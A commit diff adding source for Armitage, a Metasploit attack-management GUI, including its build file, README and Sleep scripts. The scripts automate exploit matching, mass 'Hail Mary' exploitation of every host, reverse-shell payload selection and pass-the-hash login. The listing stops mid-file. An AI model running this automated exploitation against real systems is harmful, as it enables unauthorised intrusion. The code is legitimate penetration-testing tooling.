include armitage source in MSF tree.

unstable
Raphael Mudge 2012-05-05 15:48:08 -04:00
parent 5b688124a2
commit 2012057098
108 changed files with 15476 additions and 0 deletions

View File

@ -0,0 +1,42 @@
<project name="armitage" default="all" basedir=".">
<property name="project.src" location="src/" />
<property name="project.build" location="bin/" />
<target name="all" depends="init, compile, jar" />
<target name="init">
<tstamp />
<mkdir dir="${project.build}" />
</target>
<target name="compile" depends="init" description="compile the source " >
<javac srcdir="${project.src}/"
destdir="${project.build}"
nowarn="yes"
depend="yes"
debug="true"
optimize="yes"
includeantruntime="fuckno"
>
<classpath path="./lib/jgraphx.jar;./lib/sleep.jar;./lib/msgpack-0.5.1-devel.jar;./lib/postgresql-9.1-901.jdbc4.jar" />
</javac>
</target>
<target name="jar" depends="compile">
<unzip src="lib/sleep.jar" dest="bin" />
<unzip src="lib/jgraphx.jar" dest="bin" />
<unzip src="lib/msgpack-0.5.1-devel.jar" dest="bin" />
<unzip src="lib/postgresql-9.1-901.jdbc4.jar" dest="bin" />
<jar destfile="armitage.jar" basedir="bin" includes="**/*">
<manifest>
<attribute name="Main-Class" value="armitage.ArmitageMain" />
</manifest>
</jar>
</target>
<target name="clean" description="clean up" >
<delete dir="${project.build}"/>
</target>
</project>

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,90 @@
=============================================================================
Armitage - Cyber Attack Management for Metasploit
=============================================================================
*** http://www.fastandeasyhacking.com ***
1. What is Armitage?
-----------------
Armitage is a graphical cyber attack management tool for Metasploit that
visualizes your targets, recommends exploits, and exposes the advanced
capabilities of the framework.
Advanced users will find Armitage valuable for managing remote Metasploit
instances and collaboration. Armitage's red team collaboration features allow
your team to use the same sessions, share data, and communicate through one
Metasploit instance.
Armitage aims to make Metasploit usable for security practitioners who
understand hacking but don't use Metasploit every day. If you want to learn
Metasploit and grow into the advanced features, Armitage can help you.
2. Documentation
-------------
The documentation for Armitage is located on the Armitage website at:
http://www.fastandeasyhacking.com. Read the FAQ and the Manual for
information on connecting Armitage to Metasploit and using it.
3. Install and Update
----------
To get started, see the manual at http://www.fastandeasyhacking.com
4. Source Code
-----------
This projected is hosted on Google Code at:
http://code.google.com/p/armitage/
5. Disclaimer
----------
Use this code for your development and don't hack systems that you don't
have permission to hack. The existence of this software does not reflect the
opinions or beliefs of my current employers, past employers, future
employers, or any small animals I come into contact with. Enjoy this
software with my blessing. I hope it helps you learn and become a better
security professional.
6. Contact
-------
Report bugs in the issue tracker at:
http://code.google.com/p/armitage/issues/list
E-mail contact@fastandeasyhacking.com with other questions/concerns. Make
sure you peruse the FAQ and Manual first.
7. License
-------
(c) 2010-2012 Raphael Mudge. This project is licensed under the BSD license.
See section 8 for more information.
lib/jgraphx.jar is used here within the terms of the BSD license offered by
JGraphX Ltd. http://www.jgraphx.com/
-
lib/msgpack-0.5.1-devel.jar and lib/postgresql-9.1-901.jdbc4.jar are both
BSD licensed libraries.
-
Some code in src/msf/* comes from msfgui by scriptjunkie.
-
This project uses the LGPL Sleep scripting language with no modifications.
Sleep's source is available at: http://sleep.dashnine.org/
8. The BSD License
---------------
Redistribution and use in source and binary forms are permitted provided
that the above copyright notice and this paragraph are duplicated in all
such forms and that any documentation, advertising materials, and other
materials related to such distribution and use acknowledge that the
software was developed by the copyright holders. The name of the copyright
holders may not be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED ''AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.

View File

@ -0,0 +1,23 @@
<html>
<body>
<center><h1>Armitage 1.44-dev</h1></center>
<p>An attack management tool for Metasploit&reg;
<br />Release: 7 May 12</p>
<br />
<p>Developed by:</p>
<ul>
<li>Raphael Mudge (raffi)</li>
</ul>
<p>External code:</p>
<ul>
<li>MSF RPC code by scriptjunkie (BSD license)</li>
<li>JGraph by JGraph Ltd. (BSD license)</li>
</ul>
<p><small>Metasploit&reg; is a registered trademark of Rapid7 Inc.</small></p>
</body>
</html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

View File

@ -0,0 +1,41 @@
#Armitage Configuration
#Fri Oct 15 18:08:08 EDT 2010
graph.font.font=Monospaced-BOLD-14
console.clear_screen.shortcut=ctrl pressed K
graph.zoom_out.shortcut=ctrl pressed MINUS
graph.save_screenshot.shortcut=ctrl pressed P
console.font_size_reset.shortcut=ctrl pressed 0
console.page_down.shortcut=pressed PAGE_DOWN
graph.arrange_icons_circle.shortcut=ctrl pressed C
graph.selection.color=\#00ff00
graph.zoom_in.shortcut=ctrl pressed EQUALS
console.find.shortcut=ctrl pressed F
console.history_previous.shortcut=pressed UP
console.history_next.shortcut=pressed DOWN
console.page_up.shortcut=pressed PAGE_UP
console.highlight.color=\#0000cc
console.font_size_plus.shortcut=ctrl pressed EQUALS
console.font_size_minus.shortcut=ctrl pressed MINUS
console.foreground.color=\#ffffff
console.background.color=\#000000
console.font.font=Monospaced-BOLD-14
graph.arrange_icons_hierarchical.shortcut=ctrl pressed H
graph.foreground.color=\#cccccc
graph.background.color=\#111111
graph.zoom_reset.shortcut=ctrl pressed 0
console.clear_buffer.shortcut=pressed ESCAPE
graph.edge.color=\#3c6318
graph.arrange_icons_stack.shortcut=ctrl pressed S
graph.edge_highlight.color=\#00ff00
graph.default_layout.layout=stack
application.skin.skin=Nimbus
graph.clear_selection.shortcut=pressed ESCAPE
graph.select_all.shortcut=ctrl pressed A
armitage.required_exploit_rank.string=great
armitage.string.target_view=graph
console.select_all.shortcut=ctrl pressed A
armitage.log_everything.boolean=true
armitage.no_msf_banner.boolean=false
tab.highlight.color=#0000ff
armitage.show_all_commands.boolean=true
armitage.application_title.string=Armitage

Binary file not shown.

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

View File

@ -0,0 +1,12 @@
Metasploit's RPC daemon shut down. This is the
service Armitage uses to talk to Metasploit.
When this happens, it means something is wrong.
The developer of Armitage feels your pain from
afar. Would you like help troubleshooting this?
P.S. yes you would--the answer is known and it's
easy to deal with. Click Yes to visit the
troubleshooting guide at:
http://www.fastandeasyhacking.com/nomsfrpcd

Binary file not shown.

After

Width:  |  Height:  |  Size: 398 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 143 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

View File

@ -0,0 +1,10 @@
@echo off
set BASE=$$BASE$$
cd "%BASE%"
set PATH=%BASE%ruby\bin;%BASE%java\bin;%BASE%tools;%BASE%svn\bin;%BASE%nmap;%BASE%postgresql\bin;%PATH%
IF NOT EXIST "%BASE%java" GOTO NO_JAVA
set JAVA_HOME="%BASE%java"
:NO_JAVA
set MSF_DATABASE_CONFIG="%BASE%\config\database.yml"
cd "%BASE%msf3"
rubyw msfrpcd -a 127.0.0.1 -U $$USER$$ -P $$PASS$$ -S -f -p $$PORT$$

Binary file not shown.

After

Width:  |  Height:  |  Size: 70 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 109 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

View File

@ -0,0 +1 @@
java -classpath bin:lib/\*:. armitage.ArmitageMain $*

View File

@ -0,0 +1,312 @@
debug(7 | 34);
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.border.*;
import javax.imageio.*;
import java.awt.*;
import java.awt.event.*;
import msf.*;
import console.*;
import armitage.*;
import graph.*;
import java.awt.image.*;
global('$frame $tabs $menubar $msfrpc_handle $REMOTE');
sub describeHost {
local('$sessions $os @overlay $ver $info');
($sessions, $os, $ver) = values($1, @('sessions', 'os_name', 'os_flavor'));
if (size($sessions) == 0) {
return $1['address'];
}
$info = values($sessions)[0]["info"];
if ("Microsoft Corp." isin $info) {
return $1['address'] . "\nshell session";
}
else {
return $1['address'] . "\n $+ $info";
}
}
sub showHost {
local('$sessions $os @overlay $match $purpose');
($sessions, $os, $match, $purpose) = values($1, @('sessions', 'os_name', 'os_flavor', 'purpose'));
$os = normalize($os);
if ($match eq "") {
$match = $1['os_match'];
}
if ($os eq "Printer" || "*Printer*" iswm $match || "*embedded*" iswm lc($os)) {
return overlay_images(@('resources/printer.png'));
}
else if ($os eq "Windows") {
if ("*2000*" iswm $match || "*95*" iswm $match || "*98*" iswm $match || "*ME*" iswm $match || "*Me*" iswm $match) {
push(@overlay, 'resources/windows2000.png');
}
else if ("*XP*" iswm $match || "*2003*" iswm $match || "*.NET*" iswm $match) {
push(@overlay, 'resources/windowsxp.png');
}
else {
push(@overlay, 'resources/windows7.png');
}
}
else if ($os eq "Mac OS X" || "*apple*" iswm lc($os) || "*mac*os*x*" iswm lc($os)) {
push(@overlay, 'resources/macosx.png');
}
else if ("*linux*" iswm lc($os)) {
push(@overlay, 'resources/linux.png');
}
else if ($os eq "IOS" || "*cisco*" iswm lc($os)) {
push(@overlay, 'resources/cisco.png');
}
else if ("*BSD*" iswm $os) {
push(@overlay, 'resources/bsd.png');
}
else if ($os eq "Solaris") {
push(@overlay, 'resources/solaris.png');
}
else if ("*VMware*" iswm $os) {
push(@overlay, 'resources/vmware.png');
}
else if ($purpose eq "firewall") {
return overlay_images(@('resources/firewall.png'));
}
else {
push(@overlay, 'resources/unknown.png');
}
if (size($sessions) > 0) {
push(@overlay, 'resources/hacked.png');
}
else {
push(@overlay, 'resources/computer.png');
}
return overlay_images(@overlay);
}
sub connectToMetasploit {
local('$thread $5');
$thread = [new Thread: lambda(&_connectToMetasploit, \$1, \$2, \$3, \$4, \$5)];
[$thread start];
}
sub _connectToMetasploit {
global('$database $client $mclient $console @exploits @auxiliary @payloads @post');
# update preferences
local('%props $property $value $flag $exception');
%props['connect.host.string'] = $1;
%props['connect.port.string'] = $2;
%props['connect.user.string'] = $3;
%props['connect.pass.string'] = $4;
if ($5 is $null) {
foreach $property => $value (%props) {
[$preferences setProperty: $property, $value];
}
}
savePreferences();
# setup progress monitor
local('$progress');
$progress = [new ProgressMonitor: $null, "Connecting to $1 $+ : $+ $2", "first try... wish me luck.", 0, 100];
# keep track of whether we're connected to a local or remote Metasploit instance. This will affect what we expose.
$REMOTE = iff($1 eq "127.0.0.1", $null, 1);
$flag = 10;
while ($flag) {
try {
if ([$progress isCanceled]) {
if ($msfrpc_handle !is $null) {
try {
wait(fork({ closef($msfrpc_handle); }, \$msfrpc_handle), 5 * 1024);
$msfrpc_handle = $null;
}
catch $exception {
[JOptionPane showMessageDialog: $null, "Unable to shutdown MSFRPC programatically\nRestart Armitage and try again"];
[System exit: 0];
}
}
connectDialog();
return;
}
# connecting locally? go to Metasploit directly...
if ($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost") {
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
$mclient = $client;
initConsolePool();
initReporting();
}
# we have a team server... connect and authenticate to it.
else {
$client = c_client($1, $2);
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
$mclient = setup_collaboration($3, $4, $1, $2);
}
$flag = $null;
}
catch $exception {
[$progress setNote: [$exception getMessage]];
[$progress setProgress: $flag];
$flag++;
sleep(2500);
}
}
let(&postSetup, \$progress);
[$progress setNote: "Connected: Getting base directory"];
[$progress setProgress: 30];
setupBaseDirectory();
if (!$REMOTE) {
[$progress setNote: "Connected: Connecting to database"];
[$progress setProgress: 40];
try {
# create a console to force the database to initialize
local('$c');
$c = createConsole($client);
call($client, "console.destroy", $c);
# connect to the database plz...
$database = connectToDatabase();
[$client setDatabase: $database];
# setup our reporting stuff (has to happen *after* base directory)
initReporting();
}
catch $exception {
[JOptionPane showMessageDialog: $null, "Could not connect to database.\nClick Help button for troubleshooting help.\n\n" . [$exception getMessage]];
if ($msfrpc_handle) { closef($msfrpc_handle); }
[System exit: 0];
}
}
[$progress setNote: "Connected: Getting local address"];
[$progress setProgress: 50];
cmd_safe("setg", lambda({
# store the current global vars to save several other calls later
global('%MSF_GLOBAL');
local('$value');
foreach $value (parseTextTable($3, @("Name", "Value"))) {
%MSF_GLOBAL[$value['Name']] = $value['Value'];
}
# ok, now let's continue on with what we're doing...
getBindAddress();
[$progress setNote: "Connected: ..."];
[$progress setProgress: 60];
dispatchEvent(&postSetup);
}, \$progress));
}
sub postSetup {
thread(lambda({
[$progress setNote: "Connected: Fetching exploits"];
[$progress setProgress: 70];
@exploits = sorta(call($mclient, "module.exploits")["modules"]);
[$progress setNote: "Connected: Fetching auxiliary modules"];
[$progress setProgress: 80];
@auxiliary = sorta(call($mclient, "module.auxiliary")["modules"]);
[$progress setNote: "Connected: Fetching payloads"];
[$progress setProgress: 90];
@payloads = sorta(call($mclient, "module.payloads")["modules"]);
[$progress setNote: "Connected: Fetching post modules"];
[$progress setProgress: 100];
@post = sorta(call($mclient, "module.post")["modules"]);
[$progress close];
main();
createDashboard();
}, \$progress));
}
sub main {
local('$console $panel $dir');
$frame = [new ArmitageApplication];
[$frame setTitle: $TITLE];
[$frame setSize: 800, 600];
init_menus($frame);
initLogSystem();
[$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
[$frame show];
[$frame setExtendedState: [JFrame MAXIMIZED_BOTH]];
# this window listener is dead-lock waiting to happen. That's why we're adding it in a
# separate thread (Sleep threads don't share data/locks).
fork({
[$frame addWindowListener: {
if ($0 eq "windowClosing" && $msfrpc_handle !is $null) {
closef($msfrpc_handle);
}
}];
}, \$msfrpc_handle, \$frame);
dispatchEvent({
if ($client !is $mclient) {
createEventLogTab();
}
else {
createConsoleTab();
}
});
if (-exists "command.txt") {
deleteFile("command.txt");
}
}
sub checkDir {
# set the directory where everything exciting and fun will happen.
if (cwd() eq "/Applications" || !-canwrite cwd() || isWindows()) {
local('$dir');
$dir = getFileProper(systemProperties()["user.home"], "armitage-tmp");
if (!-exists $dir) {
mkdir($dir);
}
chdir($dir);
warn("Saving files to $dir");
}
}
setLookAndFeel();
checkDir();
if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) {
local('$config');
$config = [new Properties];
[$config load: [new java.io.FileInputStream: $CLIENT_CONFIG]];
connectToMetasploit([$config getProperty: "host", "127.0.0.1"],
[$config getProperty: "port", "55553"],
[$config getProperty: "user", "msf"],
[$config getProperty: "pass", "test"], 1);
}
else {
connectDialog();
}

View File

@ -0,0 +1,652 @@
#
# Code to create the various attack menus based on db_autopwn
#
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import msf.*;
import table.*;
import ui.*;
global('%results @always_reverse %exploits %results2');
%results = ohash();
%results2 = ohash();
setMissPolicy(%results, { return @(); });
setMissPolicy(%results2, { return @(); });
# %exploits is populated in menus.sl when the client-side attacks menu is constructed
# a list of exploits that should always use a reverse shell... this list needs to grow.
@always_reverse = @("multi/samba/usermap_script", "unix/misc/distcc_exec", "windows/http/xampp_webdav_upload_php");
#
# generate menus for a given OS
#
sub exploit_menus {
local('%toplevel @allowed $ex $os $port $exploit');
%toplevel = ohash();
@allowed = getOS($1);
foreach $ex ($2) {
($os, $port, $exploit) = split('/', $ex);
if ($os in @allowed) {
if ($port !in %toplevel) {
%toplevel[$port] = %();
}
%toplevel[$port][$exploit] = $ex;
}
}
local('%r $menu $exploits $name $exploit');
%r = ohash();
putAll(%r, sorta(keys(%toplevel)), { return 1; });
foreach $menu => $exploits (%r) {
$exploits = ohash();
foreach $name (sorta(keys(%toplevel[$menu]))) {
$exploits[$name] = %toplevel[$menu][$name];
}
}
return %r;
}
sub targetsCombobox {
local('$key $value @targets $combobox');
foreach $key => $value ($1["targets"]) {
if (strlen($value) > 53) {
push(@targets, "$key => " . substr($value, 0, 50) . "...");
}
else {
push(@targets, "$key => $value");
}
}
$combobox = [new JComboBox: sort({
local('$a $b');
$a = int(split(' \=\> ', $1)[0]);
$b = int(split(' \=\> ', $2)[0]);
return $a <=> $b;
}, @targets)];
return $combobox;
}
sub getOS {
local('@allowed $os');
$os = normalize($1);
if ($os eq "Windows") { @allowed = @("windows", "multi"); }
else if ($os eq "Solaris") { @allowed = @("solaris", "multi", "unix"); }
else if ($os eq "Linux") { @allowed = @("linux", "multi", "unix"); }
else if ($os eq "Mac OS X") { @allowed = @("osx", "multi", "unix"); }
else if ($os eq "FreeBSD") { @allowed = @("freebsd", "multi", "unix"); }
else { @allowed = @("multi", "unix"); }
return @allowed;
}
# findAttacks("p", "good|great|excellent", &callback) - port analysis
# findAttacks("x", "good|great|excellent", &callback) - vulnerability analysis
sub resolveAttacks {
thread(lambda(&_resolveAttacks, $args => @_));
}
sub _resolveAttacks {
# force a service data refresh before hail mary or find attacks.
_refreshServices(call($mclient, "db.services"));
%results = ohash();
%results2 = ohash();
setMissPolicy(%results, { return @(); });
setMissPolicy(%results2, { return @(); });
local('%r $r $p $module $s');
%r = ohash();
setMissPolicy(%r, { return @(); });
#
# find all exploits and their associated ports
#
$s = rankScore($args[1]);
foreach $module (@exploits) {
if (%exploits[$module]["rankScore"] >= $s) {
$r = call($client, "module.options", "exploit", $module);
yield 2;
if ("RPORT" in $r && "default" in $r["RPORT"]) {
$p = $r["RPORT"]["default"];
push(%r[$p], $module);
if ($p eq "445") {
push(%r["139"], $module);
}
else if ($p eq "139") {
push(%r["139"], $module);
}
else if ($p eq "80") {
push(%r["443"], $module);
}
else if ($p eq "443") {
push(%r["80"], $module);
}
}
}
}
#
# for each host, see if there is an exploit associated with its port and if so, report it...
#
local('$port $modules $host $data $services $exploit');
foreach $port => $modules (%r) {
foreach $host => $data (%hosts) {
$services = $data["services"];
if ($port in $services) {
foreach $exploit ($modules) {
push(%results[$host], $exploit);
push(%results2[$host], @($exploit, $port));
}
}
}
}
[$args[2]];
}
sub findAttacks {
resolveAttacks($1, $2, {
showError("Attack Analysis Complete...\n\nYou will now see an 'Attack' menu attached\nto each host in the Targets window.\n\nHappy hunting!");
});
}
sub smarter_autopwn {
local('$console');
elog("has given up and launched the hail mary!");
$console = createDisplayTab("Hail Mary", 1, $host => "all", $file => "hailmary");
[[$console getWindow] append: "\n\n1) Finding exploits (via local magic)\n\n"];
resolveAttacks($1, $2, lambda({
# now crawl through %results and start hacking each host in turn
local('$host $exploits @allowed $ex $os $port $exploit @attacks %dupes $e $p');
# filter the attacks...
foreach $host => $exploits (%results2) {
%dupes = %();
@allowed = getOS(getHostOS($host));
foreach $e ($exploits) {
($ex, $p) = $e;
($os, $port, $exploit) = split('/', $ex);
if ($os in @allowed && $ex !in %dupes) {
push(@attacks, @("$host", "$ex", best_payload($host, $ex, iff($ex in @always_reverse)), $p, %exploits[$ex]));
if ($p eq "139") {
push(@attacks, @("$host", "$ex", best_payload($host, $ex, iff($ex in @always_reverse)), 445, %exploits[$ex]));
}
%dupes[$ex] = 1;
}
}
[[$console getWindow] append: "\t[ $+ $host $+ ] Found " . size($exploits) . " exploits\n" ];
}
[[$console getWindow] append: "\n2) Sorting Exploits\n"];
# now sort them, so the best ones are on top...
sort({
local('$a $b');
if ($1[1] !in %exploits) {
return 1;
}
if ($2[1] !in %exploits) {
return -1;
}
$a = %exploits[$1[1]];
$b = %exploits[$2[1]];
if ($a['rankScore'] eq $b['rankScore']) {
return $b['date'] <=> $a['date'];
}
return $b['rankScore'] <=> $a['rankScore'];
}, @attacks);
[[$console getWindow] append: "\n3) Launching Exploits\n\n"];
# now execute them...
local('$progress');
$progress = [new ProgressMonitor: $null, "Launching Exploits...", "...", 0, size(@attacks)];
thread(lambda({
local('$host $ex $payload $x $rport %wait');
while (size(@attacks) > 0 && [$progress isCanceled] == 0) {
($host, $ex, $payload, $rport) = @attacks[0];
# let's throttle our exploit/host velocity a little bit.
if ((ticks() - %wait[$host]) > 1250) {
yield 250;
}
else {
yield 1500;
}
[$progress setNote: "$host $+ : $+ $rport ( $+ $ex $+ )"];
[$progress setProgress: $x + 0];
call_async($client, "module.execute", "exploit", $ex, %(PAYLOAD => $payload, RHOST => $host, LPORT => randomPort() . '', RPORT => "$rport", TARGET => '0', SSL => iff($rport == 443, '1')));
%wait[$host] = ticks();
$x++;
@attacks = sublist(@attacks, 1);
}
[$progress close];
[[$console getWindow] append: "\n\n4) Listing sessions\n\n"];
[$console addCommand: $null, "sessions -v"];
[$console start];
[$console stop];
}, \@attacks, \$progress, \$console));
}, \$console));
}
# choose a payload...
# best_client_payload(exploit, target)
sub best_client_payload {
local('$os');
$os = split('/', $1)[0];
if ($os eq "windows" || "*Windows*" iswm $2) {
return "windows/meterpreter/reverse_tcp";
}
else if ("*Generic*Java*" iswm $2) {
return "java/meterpreter/reverse_tcp";
}
else if ("*Mac*OS*PPC*" iswm $2 || ($os eq "osx" && "*PPC*" iswm $2)) {
return "osx/ppc/shell/reverse_tcp";
}
else if ("*Mac*OS*x86*" iswm $2 || "*Mac*OS*" iswm $2 || "*OS X*" iswm $2 || $os eq "osx") {
return "osx/x86/vforkshell/reverse_tcp";
}
else {
return "generic/shell_reverse_tcp";
}
}
sub isIPv6 {
local('$inet $exception');
try {
$inet = [java.net.InetAddress getByName: $1];
if ($inet isa ^java.net.Inet6Address) {
return 1;
}
}
catch $exception { }
return $null;
}
# choose a payload...
# best_payload(host, exploit, reverse preference)
sub best_payload {
local('$compatible $os $win');
$compatible = call($client, "module.compatible_payloads", $2)["payloads"];
$os = iff($1 in %hosts, %hosts[$1]['os_name']);
$win = iff($os eq "Windows" || "windows" isin $2);
if ($3) {
if ($win && "windows/meterpreter/reverse_tcp" in $compatible) {
return "windows/meterpreter/reverse_tcp";
}
else if ($win && "windows/shell/reverse_tcp" in $compatible) {
return "windows/shell/reverse_tcp";
}
else if ("java/meterpreter/reverse_tcp" in $compatible) {
return "java/meterpreter/reverse_tcp";
}
else if ("java/shell/reverse_tcp" in $compatible) {
return "java/shell/reverse_tcp";
}
else if ("java/jsp_shell_reverse_tcp" in $compatible) {
return "java/jsp_shell_reverse_tcp";
}
else if ("php/meterpreter_reverse_tcp" in $compatible) {
return "php/meterpreter_reverse_tcp";
}
else {
return "generic/shell_reverse_tcp";
}
}
if ($win && "windows/meterpreter/bind_tcp" in $compatible) {
if (isIPv6($1)) {
return "windows/meterpreter/bind_ipv6_tcp";
}
else {
return "windows/meterpreter/bind_tcp";
}
}
else if ($win && "windows/shell/bind_tcp" in $compatible) {
if (isIPv6($1)) {
return "windows/shell/bind_ipv6_tcp";
}
else {
return "windows/shell/bind_tcp";
}
}
else if ("java/meterpreter/bind_tcp" in $compatible) {
return "java/meterpreter/bind_tcp";
}
else if ("java/shell/bind_tcp" in $compatible) {
return "java/shell/bind_tcp";
}
else if ("java/jsp_shell_bind_tcp" in $compatible) {
return "java/jsp_shell_bind_tcp";
}
else {
return "generic/shell_bind_tcp";
}
}
sub addAdvanced {
local('$d');
$d = [new JCheckBox: " Show advanced options"];
[$d addActionListener: lambda({
[$model showHidden: [$d isSelected]];
[$model fireListeners];
}, \$model, \$d)];
return $d;
}
#
# pop up a dialog to start our attack with... fun fun fun
#
sub attack_dialog {
local('$dialog $north $center $south $center @targets $combobox $label $textarea $scroll $model $key $table $sorter $col $d $b $c $button $x $value');
$dialog = dialog("Attack " . join(', ', $3), 590, 360);
$north = [new JPanel];
[$north setLayout: [new BorderLayout]];
$label = [new JLabel: $1["name"]];
[$label setBorder: [BorderFactory createEmptyBorder: 5, 5, 5, 5]];
[$north add: $label, [BorderLayout NORTH]];
$textarea = [new JTextArea: [join(" ", split('[\\n\\s]+', $1["description"])) trim]];
[$textarea setEditable: 0];
[$textarea setOpaque: 1];
[$textarea setLineWrap: 1];
[$textarea setWrapStyleWord: 1];
[$textarea setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
$scroll = [new JScrollPane: $textarea];
[$scroll setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
[$north add: $scroll, [BorderLayout CENTER]];
$model = [new GenericTableModel: @("Option", "Value"), "Option", 128];
[$model setCellEditable: 1];
foreach $key => $value ($2) {
if ($key eq "RHOST") {
$value["default"] = join(", ", $3);
}
[$model _addEntry: %(Option => $key,
Value => $value["default"],
Tooltip => $value["desc"],
Hide =>
iff($value["advanced"] eq '0' && $value["evasion"] eq '0', '0', '1')
)
];
}
[$model _addEntry: %(Option => "LHOST", Value => $MY_ADDRESS, Tooltip => "Address (for connect backs)", Hide => '0')];
[$model _addEntry: %(Option => "LPORT", Value => randomPort(), Tooltip => "Bind meterpreter to this port", Hide => '0')];
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 0];
[$table setRowSorter: $sorter];
addFileListener($table, $model);
local('$TABLE_RENDERER');
$TABLE_RENDERER = tableRenderer($table, $model);
foreach $col (@("Option", "Value")) {
[[$table getColumn: $col] setCellRenderer: $TABLE_RENDERER];
}
$center = [new JScrollPane: $table];
$south = [new JPanel];
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
#[$south setLayout: [new GridLayout: 4, 1]];
$d = addAdvanced(\$model);
$combobox = targetsCombobox($1);
$b = [new JCheckBox: " Use a reverse connection"];
if ($4 in @always_reverse) {
[$b setSelected: 1];
}
$c = [new JPanel];
[$c setLayout: [new FlowLayout: [FlowLayout CENTER]]];
$button = [new JButton: "Launch"];
[$button addActionListener: lambda({
local('$options $host $x');
syncTable($table);
$options = %();
for ($x = 0; $x < [$model getRowCount]; $x++) {
$options[ [$model getValueAt: $x, 0] ] = [$model getValueAt: $x, 1];
}
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
thread(lambda({
local('$host $hosts');
$hosts = split(', ', $options["RHOST"]);
foreach $host ($hosts) {
$options["PAYLOAD"] = best_payload($host, $exploit, [$b isSelected]);
$options["RHOST"] = $host;
if ([$b isSelected]) {
$options["LPORT"] = randomPort();
}
if (size($hosts) >= 4) {
call_async($client, "module.execute", "exploit", $exploit, $options);
}
else {
module_execute("exploit", $exploit, copy($options));
}
yield 100;
}
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) {
showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s"));
}
}, $options => copy($options), \$exploit, \$b));
if (!isShift($1)) {
[$dialog setVisible: 0];
}
elog("exploit $exploit @ " . $options["RHOST"]);
}, $exploit => $4, \$model, \$combobox, \$dialog, \$b, \$table)];
[$c add: $button];
[$south add: left([new JLabel: "Targets: "], $combobox)];
[$south add: left($b)];
[$south add: left($d)];
[$south add: $c];
#[$dialog add: $north, [BorderLayout NORTH]];
local('$s');
$s = [new JSplitPane: [JSplitPane VERTICAL_SPLIT], $north, $center];
[$center setPreferredSize: [new Dimension: 0, 0]];
[$north setPreferredSize: [new Dimension: 480, 76]];
[$s resetToPreferredSizes];
[$s setOneTouchExpandable: 1];
[$dialog add: $s, [BorderLayout CENTER]];
[$dialog add: $south, [BorderLayout SOUTH]];
[$button requestFocus];
[$dialog setVisible: 1];
}
sub min_rank {
return [$preferences getProperty: "armitage.required_exploit_rank.string", "great"];
}
sub host_attack_items {
local('%m');
# we're going to take the OS of the first host...
%m = exploit_menus(%hosts[$2[0]]['os_name'], %results[$2[0]]);
if (size(%m) > 0) {
local('$a $service $exploits $e $name $exploit');
$a = menu($1, "Attack", 'A');
foreach $service => $exploits (%m) {
$e = menu($a, $service, $null);
foreach $name => $exploit ($exploits) {
item($e, $name, $null, lambda({
thread(lambda({
local('$a $b');
$a = call($mclient, "module.info", "exploit", $exploit);
$b = call($mclient, "module.options", "exploit", $exploit);
attack_dialog($a, $b, $hosts, $exploit);
}, \$exploit, \$hosts));
}, \$exploit, $hosts => $2));
}
if ($service eq "smb") {
item($e, "pass the hash...", 'p', lambda(&pass_the_hash, $hosts => $2));
}
if (size($exploits) > 0) {
separator($e);
item($e, "check exploits...", 'c', lambda({
local('$result $h $console');
$console = createDisplayTab("Check Exploits", 1);
$h = $hosts[0];
foreach $result (values($exploits)) {
[$console addCommand: $null, "ECHO \n\n===== Checking $result =====\n\n"];
[$console addCommand: $null, "use $result"];
[$console addCommand: $null, "set RHOST $h"];
[$console addCommand: $null, "check"];
}
[$console start];
[$console stop];
}, $hosts => $2, \$exploits));
}
}
}
local('$service $name @options $a $port $foo');
foreach $port => $service (%hosts[$2[0]]['services']) {
$name = $service['name'];
if ($name eq "smb" && "*Windows*" iswm getHostOS($2[0])) {
push(@options, @("psexec", lambda(&pass_the_hash, $hosts => $2)));
}
else if ("scanner/ $+ $name $+ / $+ $name $+ _login" in @auxiliary) {
push(@options, @($name, lambda(&show_login_dialog, \$service, $hosts => $2)));
}
else if ($name eq "microsoft-ds") {
push(@options, @("psexec", lambda(&pass_the_hash, $hosts => $2)));
}
}
if (size(@options) > 0) {
$a = menu($1, 'Login', 'L');
foreach $service (@options) {
($name, $foo) = $service;
item($a, $name, $null, $foo);
}
}
}
sub addFileListener {
local('$table $model $actions');
($table, $model, $actions) = @_;
if ($actions is $null) {
$actions = %();
}
# set up an action to pop up a file chooser for different file type values.
$actions["*FILE*"] = {
local('$title $temp');
$title = "Select $1";
$temp = iff($2 eq "",
chooseFile(\$title, $dir => $DATA_DIRECTORY),
chooseFile(\$title, $sel => $2)
);
if ($temp !is $null) {
